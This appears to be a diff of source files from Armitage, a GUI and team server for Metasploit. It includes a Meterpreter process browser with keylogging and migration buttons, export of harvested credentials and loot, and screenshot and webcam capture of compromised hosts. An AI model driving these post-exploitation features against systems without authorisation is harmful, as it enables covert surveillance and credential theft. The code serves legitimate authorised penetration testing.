throw [new RuntimeException: "I do not have permission to read: $yaml_file $+ .\nRun me as root please."];
}
else {
parseYaml($1, @($yaml_file, $yaml_entry));
}
return [$1 getProperty: "connect.db_connect.string"];
}
sub savePreferences {
local('$file');
$file = getFileProper(systemProperties()["user.home"], ".armitage.prop");
if (-exists getFileParent($file)) {
[$preferences save: [new java.io.FileOutputStream: $file], "Armitage Configuration"];
}
}
$preferences = loadPreferences();
sub makePrefModel {
local('$model');
$model = [new GenericTableModel: @("component", "name", "type", "value"), "name", 32];
return updatePrefModel($model);
}
sub updatePrefModel {
local('$key $value $component $name $type $model');
$model = $1;
[$model setCellEditable: 3];
foreach $key => $value (convertAll($preferences)) {
($component, $name, $type) = split('\\.', $key);
if ($type eq "color" || $type eq "shortcut" || $type eq "font" || $type eq "folder") {
$type = "$type \u271A";
}
[$model addEntry: %(component => $component, name => $name, type => $type, value => $value, key => "$key")];
}
return $model;
}
# $select = [new JComboBox: @("Font", "Monospaced", "Courier New", "Courier")];
# $style = [new JComboBox: @("Style", "Bold", "Italic", "Bold/Italic")];
# $size = [new JComboBox: @("Size")];
sub selectListener {
local('$f_font $f_style $f_size $describe');
$f_font = [$select getSelectedItem];
$f_style = strrep(uc([$style getSelectedItem]), ' + ', '');
$f_size = [$size getSelectedItem];
$describe = "$f_font $+ - $+ $f_style $+ - $+ $f_size";
[$preview setFont: [Font decode: $describe]];
[$dialog pack];
return $describe;
}
sub createPreferencesTab {
local('$table $model $panel $sorter $model $l');
$panel = [new JPanel];
[$panel setLayout: [new BorderLayout]];
$model = makePrefModel();
$table = [new ATable: $model];
$sorter = [new TableRowSorter: $model];
[$table setRowSorter: $sorter];
# allow only one row to be selected at a time.
[[$table getSelectionModel] setSelectionMode: [ListSelectionModel SINGLE_SELECTION]];
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
addMouseListener($table, lambda({
if ($0 eq 'mouseClicked' && [$1 getClickCount] >= 2) {
local('$sel $type $color $row $value');
$sel = [$model getSelectedValue: $table];
$type = [$model getSelectedValueFromColumn: $table, "type"];
$row = [$model getSelectedRow: $table];
$value = [$model getSelectedValueFromColumn: $table, "value"];
# strip the last two characters off.
$type = substr($type, 0, -2);
if ($type eq "color") {
$color = [JColorChooser showDialog: $table, "pick a color", [Color decode: iff($value eq "", "#000000", $value)]];
if ($color !is $null) {
[$model setValueAtRow: $row, "value", '#' . substr(formatNumber(uint([$color getRGB]), 10, 16), 2)];
[$model fireListeners];
}
}
else if ($type eq "folder") {
local('$file');
$file = chooseFile($dirsonly => 1);
if ($file !is $null) {
[$model setValueAtRow: $row, "value", $file];
[$model fireListeners];
}
}
else if ($type eq "font") {
local('$dialog $select $style $size $ok $cancel $preview $graphics $l $font $_style');
$dialog = dialog("Choose a font", 640, 240);
[$dialog setLayout: [new BorderLayout]];
$font = [Font decode: $value];
$graphics = [GraphicsEnvironment getLocalGraphicsEnvironment];
# style..
if ([$font isItalic] && [$font isBold]) { $_style = "Bold + Italic"; }
else if ([$font isItalic]) { $_style = "Italic"; }
else if ([$font isBold]) { $_style = "Bold"; }
else { $_style = "Plain"; }
$select = select([$graphics getAvailableFontFamilyNames], [$font getFamily]);
$style = select(@("Plain", "Bold", "Italic", "Bold + Italic"), $_style);
$size = select(@(5, 8, 9, 10, 11, 12, 13, 14, 15, 16, 20, 23, 26, 30, 33, 38), [$font getSize] . "");
$preview = [new JLabel: "nEWBS gET p0WNED by km-r4d h4x0rz"];
$l = lambda(&selectListener, \$select, \$style, \$size, \$preview, \$dialog);
map(lambda({ [$1 addItemListener: $l]; }, \$l), @($select, $style, $size));
[$l];
$ok = [new JButton: "Ok"];
[$ok addActionListener: lambda({
local('$font');
[$model setValueAtRow: $row, "value", [$l]];
[$model fireListeners];
[$dialog setVisible: 0];
}, \$dialog, \$model, \$row, \$l)];
$cancel = [new JButton: "Cancel"];
[$cancel addActionListener: lambda({ [$dialog setVisible: 0]; }, \$dialog)];
[$dialog add: center($select, $style, $size), [BorderLayout NORTH]];
[$dialog add: center($preview)];
[$dialog add: center($ok, $cancel), [BorderLayout SOUTH]];
[$dialog pack];
[$dialog setVisible: 1];
[$dialog show];
}
else if ($type eq "shortcut") {
local('$dialog $label');
$dialog = dialog("Shortcut", 100, 100);
$label = [new JLabel: "Type the desired key:"];
[$dialog add: $label];
[$dialog pack];
[$label setFocusTraversalKeys: [KeyboardFocusManager FORWARD_TRAVERSAL_KEYS], [new HashSet]];
[$label setFocusTraversalKeys: [KeyboardFocusManager BACKWARD_TRAVERSAL_KEYS], [new HashSet]];
[$label setFocusTraversalKeys: [KeyboardFocusManager UP_CYCLE_TRAVERSAL_KEYS], [new HashSet]];
[$label addKeyListener: lambda({
if ($0 eq "keyReleased") {
[$model setValueAtRow: $row, "value", strrep([KeyStroke getKeyStrokeForEvent: $1], 'released', 'pressed')];
[$model fireListeners];
[$dialog setVisible: 0];
}
}, \$dialog, \$model, \$row)];
[$dialog setVisible: 1];
[$dialog show];
[$label requestFocus];
}
}
}, \$model, \$table));
local('$button $reset');
$button = [new JButton: "Save"];
[$button addActionListener: lambda({
local('$row $key $value');
$preferences = [new Properties];
foreach $row (convertAll([$model getRows])) {
($key, $value) = values($row, @('key', 'value'));
[$preferences setProperty: $key, $value];
}
savePreferences();
showError("Preferences saved.");
}, \$model)];
$reset = [new JButton: "Reset"];
[$reset addActionListener: lambda({
local('$file');
$file = getFileProper(systemProperties()["user.home"], ".armitage.prop");
deleteFile($file);
$preferences = loadPreferences();
[$model clear: 256];
updatePrefModel($model);
[$model fireListeners];
}, \$model)];
[$panel add: center($button, $reset), [BorderLayout SOUTH]];
local('$dialog');
$dialog = dialog("Preferences", 640, 480);
[$dialog add: $panel, [BorderLayout CENTER]];
[$button addActionListener: lambda({ [$dialog setVisible: 0]; }, \$dialog)];
[$dialog setVisible: 1];
[$dialog show];
}
# sets up the Metasploit base file and the data directory file...
sub setupBaseDirectory {
local('%o');
%o = call($client, "module.options", "post", "multi/gather/dns_bruteforce");
if ("NAMELIST" in %o && "default" in %o["NAMELIST"]) {
$BASE_DIRECTORY = getFileParent(getFileParent(getFileParent(getFileParent(%o["NAMELIST"]["default"]))));
$DATA_DIRECTORY = getFileParent(getFileParent(%o["NAMELIST"]["default"]));
}
}
sub connectToDatabase {
local('$dbuser $dbpass $dburl $database $dbstring');
$dbstring = loadDatabasePreferences($preferences);
if ($dbstring eq "") {
throw [new RuntimeException: "could not find database settings"];
}
($dbuser, $dbpass, $dburl) = matches($dbstring, '(.*?):.(.*?).@(.*)');
$database = [new DatabaseImpl];
[$database connect: "jdbc:postgresql:// $+ $dburl", $dbuser, $dbpass];
# connect to the database from metasploit if need be.
cmd_safe("db_status", lambda({
if ("* connected to *" !iswm $3) {
cmd_safe("db_connect $dbstring", {
warn(@_);
});
}
}, \$dbstring));
return $database;
}
sub dataDirectory {
local('$f');
if ([$preferences getProperty: "armitage.log_data_here.folder", ""] eq "") {
[$preferences setProperty: "armitage.log_data_here.folder", getFileProper(systemProperties()["user.home"], ".armitage")];
savePreferences();
}
$f = [$preferences getProperty: "armitage.log_data_here.folder"];
if (-exists $f && !-canwrite $f) {
println("I do not have permission to write to:\n $+ $f");
}
return $f;
}
+109
View File
@@ -0,0 +1,109 @@
#
# Process Browser (for Meterpreter)
#
import table.*;
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import javax.swing.event.*;
import javax.swing.table.*;
import ui.*;
global('%processes');
%processes = ohash();
setMissPolicy(%processes, { return [new GenericTableModel: @("PID", "Name", "Arch", "Session", "User", "Path"), "PID", 128]; });
sub parseProcessList {
if ($0 eq "end") {
local('@rows $row');
[%processes[$1] clear: 128];
@rows = parseTextTable($2, @("PID", "Name", "Arch", "Session", "User", "Path"));
foreach $row (@rows) {
[%processes[$1] addEntry: $row];
}
[%processes[$1] fireListeners];
}
}
%handlers["ps"] = &parseProcessList;
%handlers["migrate"] = { if ($0 eq "begin") { showError("$2"); } };
sub createProcessBrowser {
local('$table $model $panel $sorter');
$model = %processes[$1];
$panel = [new JPanel];
[$panel setLayout: [new BorderLayout]];
$table = [new ATable: $model];
$sorter = [new TableRowSorter: $model];
[$sorter toggleSortOrder: 0];
[$table setRowSorter: $sorter];
# setup popup hook for processes
addMouseListener($table, lambda({
if ([$1 isPopupTrigger]) {
local('$r');
$r = [$model getSelectedValuesFromColumns: $table, @("PID", "Name", "User", "Path")];
if (size($r) > 0) {
installMenu($1, "process", $r);
}
}
}, \$table, \$model));
# allow only one row to be selected at a time.
[$sorter setComparator: 0, {
return $1 <=> $2;
}];
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
local('$a $b $bb $c');
$a = [new JButton: "Kill"];
[$a addActionListener: lambda({
local('$procs $v');
$procs = [$model getSelectedValues: $table];
foreach $v ($procs) {
m_cmd($m, "kill $v");
}
sleep(250);
m_cmd($m, "ps");
}, $m => $1, \$table, \$model)];
$b = [new JButton: "Migrate"];
[$b addActionListener: lambda({
local('$v');
$v = [$model getSelectedValue: $table];
if ($v !is $null) {
m_cmd($m, "migrate $v");
}
}, $m => $1, \$table, \$model)];
$bb = [new JButton: "Log Keystrokes"];
[$bb addActionListener: lambda({
local('$v');
$v = [$model getSelectedValue: $table];
if ($v !is $null) {
launch_dialog("Log Keystrokes", "post", "windows/capture/keylog_recorder", 1, $null, %(SESSION => $m, MIGRATE => 1, ShowKeystrokes => 1, PID => $v, CAPTURE_TYPE => "pid"));
}
}, $m => $1, \$table, \$model)];
$c = [new JButton: "Refresh"];
[$c addActionListener:
lambda({
m_cmd($m, "ps");
}, $m => $1)
];
[$panel add: center($a, $b, $bb, $c), [BorderLayout SOUTH]];
[$frame addTab: "Processes $1", $panel, $null, "Processes " . sessionToHost($1)];
m_cmd($1, "ps");
}
+361
View File
@@ -0,0 +1,361 @@
#
# Armitage Reporting... (well, sorta... not going to generate PDFs any time soon :))
#
import java.io.*;
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import javax.swing.event.*;
sub dumpTSVData {
local('$handle $entry $key $value');
if ($3 is $null) {
warn("No data for $1");
return;
}
$handle = openf("> $+ $1 $+ .tsv");
println($handle, join("\t", $2));
foreach $entry ($3) {
foreach $key => $value ($entry) {
$value = strrep(["$value" trim], "\t", " ", "\n", "\\n");
}
println($handle, join("\t", values($entry, $2)));
}
closef($handle);
}
sub dumpXMLData {
local('$handle $entry $key $value');
if ($3 is $null) {
warn("No data for $1");
return;
}
$handle = openf("> $+ $1 $+ .xml");
println($handle, "< $+ $1 $+ >");
foreach $entry ($3) {
println($handle, "\t<entry>");
foreach $key ($2) {
$value = $entry[$key];
if ($key eq "info") {
println($handle, "\t\t< $+ $key $+ ><![CDATA[ $+ $value $+ ]]></ $+ $key $+ >");
}
else {
println($handle, "\t\t< $+ $key $+ > $+ $value $+ </ $+ $key $+ >");
}
}
println($handle, "\t</entry>");
}
println($handle, "</ $+ $1 $+ >");
closef($handle);
}
sub dumpData {
dumpXMLData($1, $2, $3);
dumpTSVData($1, $2, $3);
logFile("$1 $+ .xml", "artifacts", "xml");
logFile("$1 $+ .tsv", "artifacts", "tsv");
deleteFile("$1 $+ .xml");
deleteFile("$1 $+ .tsv");
}
sub fixHosts {
return sort({
return [graph.Route ipToLong: $1['address']] <=> [graph.Route ipToLong: $2['address']];
}, $1);
}
sub fixSessions {
local('$session $info');
foreach $session ($1) {
if ("exploit/*" iswm $session['via_exploit'] && substr($session['via_exploit'], 8) in @exploits) {
$info = call($mclient, "module.info", "exploit", substr($session['via_exploit'], 8));
# fix some options
$session['exploit_name'] = $info['name'];
}
else if ("auxiliary/*" iswm $session['via_exploit'] && substr($session['via_exploit'], 10) in @auxiliary) {
$info = call($mclient, "module.info", "auxiliary", substr($session['via_exploit'], 10));
# fix some options
$session['exploit_name'] = $info['name'];
}
}
return $1;
}
sub fixTimeline {
local('$event $source $username');
foreach $event ($1) {
($source, $username) = split('//', $event['username']);
$event['source'] = $source;
$event['username'] = $username;
}
return $1;
}
sub fixVulns {
local('$id $vuln %vulns %refs $info');
%refs = ohash();
setMissPolicy(%refs, { return @(); });
# let's group everything by a unique vulnerability id... we're going to collapse the
# the vulns into one row with comma separated refs.
foreach $vuln ($1) {
$id = $vuln['vid'];
%vulns[$id] = $vuln;
push(%refs[$id], $vuln['refs']);
}
# fix the references...
foreach $id => $vuln (%vulns) {
$vuln['refs'] = join(", ", %refs[$id]);
if ("exploit/*" iswm $vuln['name'] && substr($vuln['name'], 8) in @exploits) {
$info = call($mclient, "module.info", "exploit", substr($vuln['name'], 8));
# fix some options
$vuln['module'] = $vuln['name'];
$vuln['name'] = $info['name'];
$vuln['info'] = replace($info['description'], "\n\\s+", "\n");
}
else if ("auxiliary/*" iswm $vuln['name'] && substr($vuln['name'], 10) in @auxiliary) {
$info = call($mclient, "module.info", "auxiliary", substr($vuln['name'], 10));
# fix some options
$vuln['module'] = $vuln['name'];
$vuln['name'] = $info['name'];
$vuln['info'] = replace($info['description'], "\n\\s+", "\n");
}
}
return sort({
return [graph.Route ipToLong: $1['host']] <=> [graph.Route ipToLong: $2['host']];
}, values(%vulns));
}
#
# query all of the data that we want...
# queryData(%workspace)
#
sub queryData {
local('%r $progress');
# 1. extract the known vulnerability information
%r['vulns'] = call($mclient, "db.vulns")["vulns"];
if ($progress) {
[$progress setProgress: 10];
}
%r['vulns'] = fixVulns(%r['vulns']);
# 2. credentials
%r['creds'] = call($mclient, "db.creds")["creds"];
if ($progress) {
[$progress setProgress: 20];
}
# 3. loot
%r['loots'] = call($mclient, "db.loots")["loots"];
if ($progress) {
[$progress setProgress: 30];
}
# 4. clients
%r['clients'] = call($mclient, "db.clients")["clients"];
if ($progress) {
[$progress setProgress: 35];
}
# 5. sessions...
%r['sessions'] = fixSessions(call($mclient, "db.sessions")["sessions"]);
if ($progress) {
[$progress setProgress: 36];
}
# 6. timeline
%r['timeline'] = fixTimeline(call($mclient, "db.events")['events']);
if ($progress) {
[$progress setProgress: 38];
}
# 7. hosts and services
local('@hosts @services $temp $h $s $x');
call($mclient, "armitage.prep_export", $1);
$temp = call($mclient, "armitage.export_data");
while (size($temp['hosts']) > 0) {
($h, $s) = values($temp, @('hosts', 'services'));
addAll(@hosts, $h);
addAll(@services, $s);
if ($progress) {
[$progress setProgress: 35 + $x];
}
$x += 2;
sleep(50);
$temp = call($mclient, "armitage.export_data");
}
%r['hosts'] = fixHosts(@hosts);
%r['services'] = @services;
return %r;
}
#
# extract and export Metasploit data to easily parsable files (TSV and XML)
#
sub generateArtifacts {
local('$dialog $select @workspaces $export');
$dialog = dialog("Export Data", 320, 200);
@workspaces = map({ return $1['name']; }, workspaces());
add(@workspaces, "All Hosts");
$select = select(@workspaces, "Show All");
$export = [new JButton: "Export"];
[$export addActionListener: lambda({
thread(lambda({
local('$filter $files');
if ($item eq "All Hosts") {
$filter = %();
}
else {
$filter = search(workspaces(),
lambda({
return iff($1['name'] eq $item, $1);
}, \$item));
}
$files = _generateArtifacts($filter);
[gotoFile([new java.io.File: $files])];
}, $item => [$select getSelectedItem]));
[$dialog setVisible: 0];
}, \$select, \$dialog)];
[$dialog setLayout: [new BorderLayout]];
[$dialog add: label_for("Workspace:", 100, $select), [BorderLayout CENTER]];
[$dialog add: center($export), [BorderLayout SOUTH]];
[$dialog pack];
[$dialog setVisible: 1];
[$dialog show];
}
sub _generateArtifacts {
local('%data $progress');
$progress = [new javax.swing.ProgressMonitor: $null, "Exporting Data", "Querying Database...", 0, 100];
%data = queryData($1, \$progress);
[$progress setProgress: 50];
[$progress setNote: "Exporting Data"];
# 1. extract the known vulnerability information
dumpData("vulnerabilities", @("host", "port", "proto", "updated_at", "name", "refs", "info", "module"), %data['vulns']);
[$progress setProgress: 55];
# 2. credentials
dumpData("credentials", @("host", "port", "proto", "sname", "created_at", "active", "ptype", "user", "pass"), %data['creds']);
[$progress setProgress: 60];
# 3. loot
dumpData("loots", @("host", "ltype", "created_at", "updated_at", "info", "content_type", "name", "path"), %data['loots']);
[$progress setProgress: 65];
# 4. clients
dumpData("clients", @("host", "created_at", "updated_at", "ua_name", "ua_ver", "ua_string"), %data['clients']);
[$progress setProgress: 70];
# 5. hosts
dumpData("hosts", @("address", "mac", "state", "address", "address6", "name", "purpose", "info", "os_name", "os_flavor", "os_sp", "os_lang", "os_match", "created_at", "updated_at"), %data['hosts']);
[$progress setProgress: 80];
# 6. services
dumpData("services", @("host", "port", "state", "proto", "name", "created_at", "updated_at", "info"), %data['services']);
[$progress setProgress: 90];
# 7. sessions
dumpData("sessions", @("host", "local_id", "stype", "platform", "via_payload", "via_exploit", "opened_at", "last_seen", "closed_at", "close_reason"), %data['sessions']);
[$progress setProgress: 93];
# 8. timeline
dumpData("timeline", @("source", "username", "created_at", "info"), %data['timeline']);
[$progress setProgress: 96];
# 9. take a pretty screenshot of the graph view...
[$progress setNote: "host picture :)"];
makeScreenshot("hosts.png");
if (-exists "hosts.png") {
logFile("hosts.png", "artifacts", ".");
deleteFile("hosts.png");
}
[$progress setProgress: 100];
[$progress close];
return getFileProper(dataDirectory(), formatDate("yyMMdd"), "artifacts");
}
#
# connects to the database (if necessary), resets the host index for pagination and... rocks it!
#
sub api_prep_export {
if ($db is $null) {
$db = connectToDatabase();
}
[$db resetHostsIndex];
[$db execute: "db.filter", $2];
return %(status => "success");
}
# pages through database and grabs all of the hosts and services data
sub api_export_data {
local('@hosts $temp @services $stemp');
# call db.filter here if requested...
@hosts = call($db, "db.hosts")['hosts'];
# get all of the services for these hosts...
[$db resetServicesIndex];
$temp = call($db, "db.services")['services'];
while (size($temp) > 0) {
addAll(@services, $temp);
[$db nextServicesIndex];
$temp = call($db, "db.services")['services'];
}
[$db nextHostsIndex];
return %(hosts => @hosts, services => @services);
}
sub initReporting {
global('$poll_lock @events'); # set in the dserver, not in stand-alone Armitage
wait(fork({
global('$db');
[$client addHook: "armitage.export_data", &api_export_data];
[$client addHook: "armitage.prep_export", &api_prep_export];
}, \$client, $mclient => $client, \$preferences, \$yaml_file, \$BASE_DIRECTORY, \$yaml_entry));
}
+100
View File
@@ -0,0 +1,100 @@
#
# Screenshot viewer... whee?!?
#
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import javax.swing.event.*;
import javax.imageio.*;
import java.io.File;
import ui.*;
import armitage.*;
global('%screenshots %webcams');
%screenshots = ohash();
%webcams = ohash();
sub image_viewer
{
local('$panel $viewer $buttons $refresh $watch');
$panel = [new JPanel];
[$panel setLayout: [new BorderLayout]];
$viewer = [new ZoomableImage];
[$panel add: [new JScrollPane: $viewer], [BorderLayout CENTER]];
$buttons = [new JPanel];
[$buttons setLayout: [new FlowLayout: [FlowLayout CENTER]]];
$refresh = [new JButton: "Refresh"];
[$refresh addActionListener: lambda({
m_cmd($sid, $command);
}, $sid => $2, \$command)];
[$buttons add: $refresh];
$watch = [new JButton: "Watch (10s)"];
[$watch addActionListener: lambda({
local('$timer');
$timer = [new SimpleTimer: 10000];
[$timer setRunnable: lambda({
if ($sid !in $container) {
[$timer stop];
}
else {
m_cmd($sid, $command);
}
}, \$sid, \$timer, \$container, \$command)];
}, $sid => $2, \$container, \$command)];
[$buttons add: $watch];
[$panel add: $buttons, [BorderLayout SOUTH]];
[$frame addTab: "$title $2", $panel, lambda({ $container[$key] = $null; size($container); }, $key => $2, \$container), "$title " . sessionToHost($2)];
return $viewer;
}
sub update_viewer {
if ($0 eq "update" && "*Operation failed*" iswm $2) {
showError($2);
}
else if ($0 eq "update" && $2 ismatch "$type saved to: (.*?)") {
local('$file $image $panel');
($file) = matched();
# we're collaborating, so download the file please...
if ($client !is $mclient) {
$file = getFileProper(cwd(), downloadFile($file));
}
logFile($file, sessionToHost($1), $type);
$image = [ImageIO read: [new File: $file]];
dispatchEvent(lambda({
[$container[$id] setIcon: [new ImageIcon: $image]];
}, \$container, \$image, $id => $1));
if (-isFile $file && "*.jpeg" iswm $file) {
deleteFile($file);
}
}
}
setMissPolicy(%screenshots, lambda(&image_viewer, $title => "Screenshot", $command => "screenshot -v false", $container => %screenshots));
setMissPolicy(%webcams, lambda(&image_viewer, $title => "Webcam", $command => "webcam_snap -v false", $container => %webcams));
%handlers["screenshot"] = lambda(&update_viewer, $type => "Screenshot", $container => %screenshots);
%handlers["webcam_snap"] = lambda(&update_viewer, $type => "Webcam shot", $container => %webcams);
sub createScreenshotViewer {
return lambda({
m_cmd($sid, "screenshot -v false");
}, $sid => $1);
}
sub createWebcamViewer {
return lambda({
m_cmd($sid, "webcam_snap -v false");
}, $sid => $1);
}
+535
View File
@@ -0,0 +1,535 @@
#
# -= Armitage Network Attack Collaboration Server =-
#
# This is a separate application. It creates a second interface that Armitage uses
# to collaborate with other network attack clients.
#
# Features include:
# - Meterpreter multiplexing (writes take ownership of a session, reads are silently ignored
# for non-owner clients).
# - Upload/download files (allows feature dependent on files to work)
# - Group chat (because everyone loves chatting...)
#
# This is a proof of concept quickly hacked out (do you see how long this code is?)
#
# My goal is to eventually see this technology ported to Metasploit's RPC interface
# so this second instance can be done away with.
#
# Any takers? :)
#
debug(7);
import msf.*;
import ssl.*;
sub result {
local('$rv $key $value');
$rv = [new HashMap];
foreach $key => $value ($1) {
[$rv put: "$key", "$value"];
}
return $rv;
}
sub event {
local('$result');
$result = formatDate("HH:mm:ss") . " $1";
acquire($poll_lock);
push(@events, $result);
release($poll_lock);
}
sub client {
local('$temp $result $method $eid $sid $args $data $session $index $rv $valid $h $channel $key $value $file $response $time $address $app $ver %async %consoles');
# do these things asynchronously so we don't tie up a client's thread
%async['module.execute'] = 1;
%async['core.setg'] = 1;
%async['console.destroy'] = 1;
%async['console.write'] = 1;
%async['session.shell_write'] = 1;
#
# verify the client
#
$temp = readObject($handle);
($method, $args) = $temp;
if ($method ne "armitage.validate") {
writeObject($handle, result(%(error => 1, message => "You're not authenticated")));
return;
}
else {
local('$user $pass');
($user, $pass, $eid, $app, $ver) = $args;
if ($user ne $_user || $pass ne $_pass) {
warn("Rejected $eid (invalid login)");
writeObject($handle, result(%(error => 1, message => "Invalid login.")));
return;
}
else if ($app ne "armitage") {
warn("Rejected $eid (wrong application)");
writeObject($handle, result(%(error => 1, message => "Your client is not compatible with this server.\nPlease use the latest version of Armitage.")));
return;
}
else if ($ver < 120326) {
warn("Rejected $eid (old software -- srsly, update people!)");
writeObject($handle, result(%(error => 1, message => "Your client is outdated.\nPlease use the latest version of Armitage.")));
return;
}
else if ($motd ne "" && -exists $motd) {
$temp = openf($motd);
writeObject($handle, result(%(message => readb($temp, -1))));
closef($temp);
}
else {
writeObject($handle, result(%(message => "Collaboration setup!")));
}
if ($eid !is $null) {
event("*** $eid joined\n");
warn("*** $eid joined");
}
}
# limit our replay of the event log to 100 events...
acquire($poll_lock);
if (size(@events) > 100) {
$index = size(@events) - 100;
}
else {
$index = 0;
}
release($poll_lock);
#
# on our merry way processing it...
#
while $temp (readObject($handle)) {
($method, $args) = $temp;
if ($method eq "session.meterpreter_read") {
($sid) = $args;
$result = $null;
acquire($read_lock);
if (-isarray $queue[$sid] && size($queue[$sid]) > 0) {
$result = shift($queue[$sid]);
}
release($read_lock);
if ($result !is $null) {
writeObject($handle, $result);
}
else {
writeObject($handle, result(%(data => "", encoding => "base64")));
}
}
else if ($method eq "session.meterpreter_write") {
($sid, $data) = $args;
#warn("P $sess_lock");
acquire($sess_lock);
$session = %sessions[$sid];
release($sess_lock);
#warn("V $sess_lock");
if ($data ismatch "write -c (\\d+) (.*)\n") {
($channel, $data) = matched();
$file = getFileProper("command $+ $sid $+ . $+ $channel $+ .txt");
$h = openf("> $+ $file");
writeb($h, "$data $+ \r\n");
closef($h);
deleteOnExit($file);
[$session addCommand: $id, "write -f \"" . strrep($file, "\\", "/") . "\" $channel $+ \n"];
}
else {
[$session addCommand: $id, $data];
}
writeObject($handle, [new HashMap]);
}
else if ($method eq "armitage.lock") {
($sid) = $args;
acquire($lock_lock);
$data = %locks[$sid];
if ($data is $null) {
%locks[$sid] = $eid;
}
release($lock_lock);
if ($data is $null) {
writeObject($handle, result(%()));
}
else {
writeObject($handle, result(%(error => "$data owns this session.")));
}
}
else if ($method eq "armitage.unlock") {
($sid) = $args;
acquire($lock_lock);
$data = %locks[$sid];
if ($data is $null || $data eq $eid) {
%locks[$sid] = $null;
}
release($lock_lock);
writeObject($handle, result(%()));
}
else if ($method eq "armitage.log") {
($data, $address) = $args;
event("* $eid $data $+ \n");
call_async($client, "db.log_event", "$address $+ // $+ $eid", $data);
writeObject($handle, result(%()));
}
else if ($method eq "armitage.skip") {
acquire($poll_lock);
$index = size(@events);
release($poll_lock);
writeObject($handle, result(%()));
}
else if ($method eq "armitage.push") {
($null, $data) = $args;
event("< $+ $[10]eid $+ > " . $data);
writeObject($handle, result(%()));
}
else if ($method eq "armitage.poll") {
acquire($poll_lock);
if (size(@events) > $index) {
$rv = result(%(data => join("", sublist(@events, $index)), encoding => "base64", prompt => "$eid $+ > "));
$index = size(@events);
}
else {
$rv = result(%(data => "", prompt => "$eid $+ > ", encoding => "base64"));
}
release($poll_lock);
writeObject($handle, $rv);
}
else if ($method eq "armitage.append") {
($file, $data) = $args;
$h = openf(">>" . getFileName($file));
writeb($h, $data);
closef($h);
writeObject($handle, result(%()));
}
else if ($method eq "armitage.upload") {
($file, $data) = $args;
$h = openf(">" . getFileName($file));
writeb($h, $data);
closef($h);
deleteOnExit(getFileName($file));
writeObject($handle, result(%(file => getFileProper($file))));
}
else if ($method eq "armitage.download") {
if (-exists $args[0] && -isFile $args[0]) {
$h = openf($args[0]);
$data = readb($h, -1);
closef($h);
writeObject($handle, result(%(data => $data)));
deleteFile($args[0]);
}
else {
writeObject($handle, result(%(error => "file does not exist")));
}
}
else if ($method eq "armitage.download_nodelete") {
if (-exists $args[0] && -isFile $args[0]) {
$h = openf($args[0]);
$data = readb($h, -1);
closef($h);
writeObject($handle, result(%(data => $data)));
}
else {
writeObject($handle, result(%(error => "file does not exist")));
}
}
else if ($method eq "armitage.downloads") {
$response = listDownloads("downloads");
writeObject($handle, $response);
}
else if ($method eq "db.hosts" || $method eq "db.services" || $method eq "db.creds" || $method eq "session.list" || $method eq "db.loots") {
$response = [$client_cache execute: $eid, $method, $null];
if ($args !is $null && -isarray $args && size($args) == 1 && $args[0] == [armitage.ArmitageTimer dataIdentity: $response]) {
writeObject($handle, %(nochange => 1));
}
else {
writeObject($handle, $response);
}
}
else if ("db.filter" eq $method) {
[$client_cache setFilter: $eid, $args];
writeObject($handle, %());
}
else if ("module.*" iswm $method && size($args) == 0) {
# never underestimate the power of caching to alleviate load.
$response = $null;
acquire($cach_lock);
if ($method in %cache) {
$response = %cache[$method];
}
release($cach_lock);
if ($response is $null) {
$response = [$client execute: $method];
acquire($cach_lock);
%cache[$method] = $response;
release($cach_lock);
}
writeObject($handle, $response);
}
else if ($method eq "console.create" || $method eq "console.allocate") {
$response = [$client execute: $method];
$data = [$response get: 'id'];
%consoles[$data] = 1;
writeObject($handle, $response);
}
else if ($method eq "console.destroy" || $method eq "console.release") {
%consoles[$args[0]] = $null;
[$client execute_async: $method, cast($args, ^Object)];
writeObject($handle, %());
}
else if ($method eq "module.execute" && $args[0] eq "payload") {
$response = [$client execute: $method, cast($args, ^Object)];
writeObject($handle, $response);
}
else if ($method in %async) {
if ($args) {
[$client execute_async: $method, cast($args, ^Object)];
}
else {
[$client execute_async: $method];
}
writeObject($handle, %());
}
else {
if ($args) {
$response = [$client execute: $method, cast($args, ^Object)];
}
else {
$response = [$client execute: $method];
}
writeObject($handle, $response);
}
}
if ($eid !is $null) {
event("*** $eid left.\n");
}
# reset the user's filter...
[$client_cache setFilter: $eid, $null];
# cleanup any locked sessions.
acquire($lock_lock);
foreach $key => $value (%locks) {
if ($value eq $eid) {
remove();
}
}
release($lock_lock);
# cleanup any consoles created by not let go of.
foreach $key => $value (%consoles) {
[$client execute_async: "console.release", cast(@("$key"), ^Object)];
}
}
sub main {
global('$client $mclient');
local('$server %sessions $sess_lock $read_lock $poll_lock $lock_lock %locks %readq $id @events $error $auth %cache $cach_lock $client_cache $handle');
$auth = unpack("H*", digest(rand() . ticks(), "MD5"))[0];
#
# chastise the user if they're wrong...
#
if (size(@ARGV) < 5) {
println("Armitage deconfliction server requires the following arguments:
armitage --server host port user pass
host - the address of this host (where msfrpcd is running as well)
port - the port msfrpcd is listening on
user - the username for msfrpcd
pass - the password for msfprcd
lport - [optional] port to bind the team server to");
[System exit: 0];
}
local('$host $port $user $pass $sport');
($host, $port, $user, $pass, $sport) = sublist(@_, 1);
if ($sport is $null) {
$sport = $port + 1;
}
#
# some sanity checking
#
if ($host eq "127.0.0.1") {
println("Do not specify 127.0.0.1 as your msfrpcd host. This IP address\nis given to clients and they use it to connect to this server.");
[System exit: 0];
}
#
# Connect to Metasploit's RPC Daemon
#
$client = [new MsgRpcImpl: $user, $pass, "127.0.0.1", long($port), $null, $null];
while ($client is $null) {
sleep(1000);
$client = [new MsgRpcImpl: $user, $pass, "127.0.0.1", long($port), $null, $null];
}
$mclient = $client;
initConsolePool(); # this needs to happen... right now.
# set the LHOST to whatever the user specified
call_async($client, "core.setg", "LHOST", $host);
# make sure clients know a team server is present. can't happen async.
call($client, "core.setg", "ARMITAGE_TEAM", '1');
#
# setup the client cache
#
$client_cache = [new RpcCacheImpl: $client];
#
# This lock protects the %sessions variable
#
$sess_lock = semaphore(1);
$read_lock = semaphore(1);
$poll_lock = semaphore(1);
$lock_lock = semaphore(1);
$cach_lock = semaphore(1);
#
# create a thread to push console messages to the event queue for all clients.
#
fork({
global('$r');
while (1) {
$r = call($client, "console.read", $console);
if ($r["data"] ne "") {
acquire($poll_lock);
push(@events, formatDate("HH:mm:ss") . " " . $r["data"]);
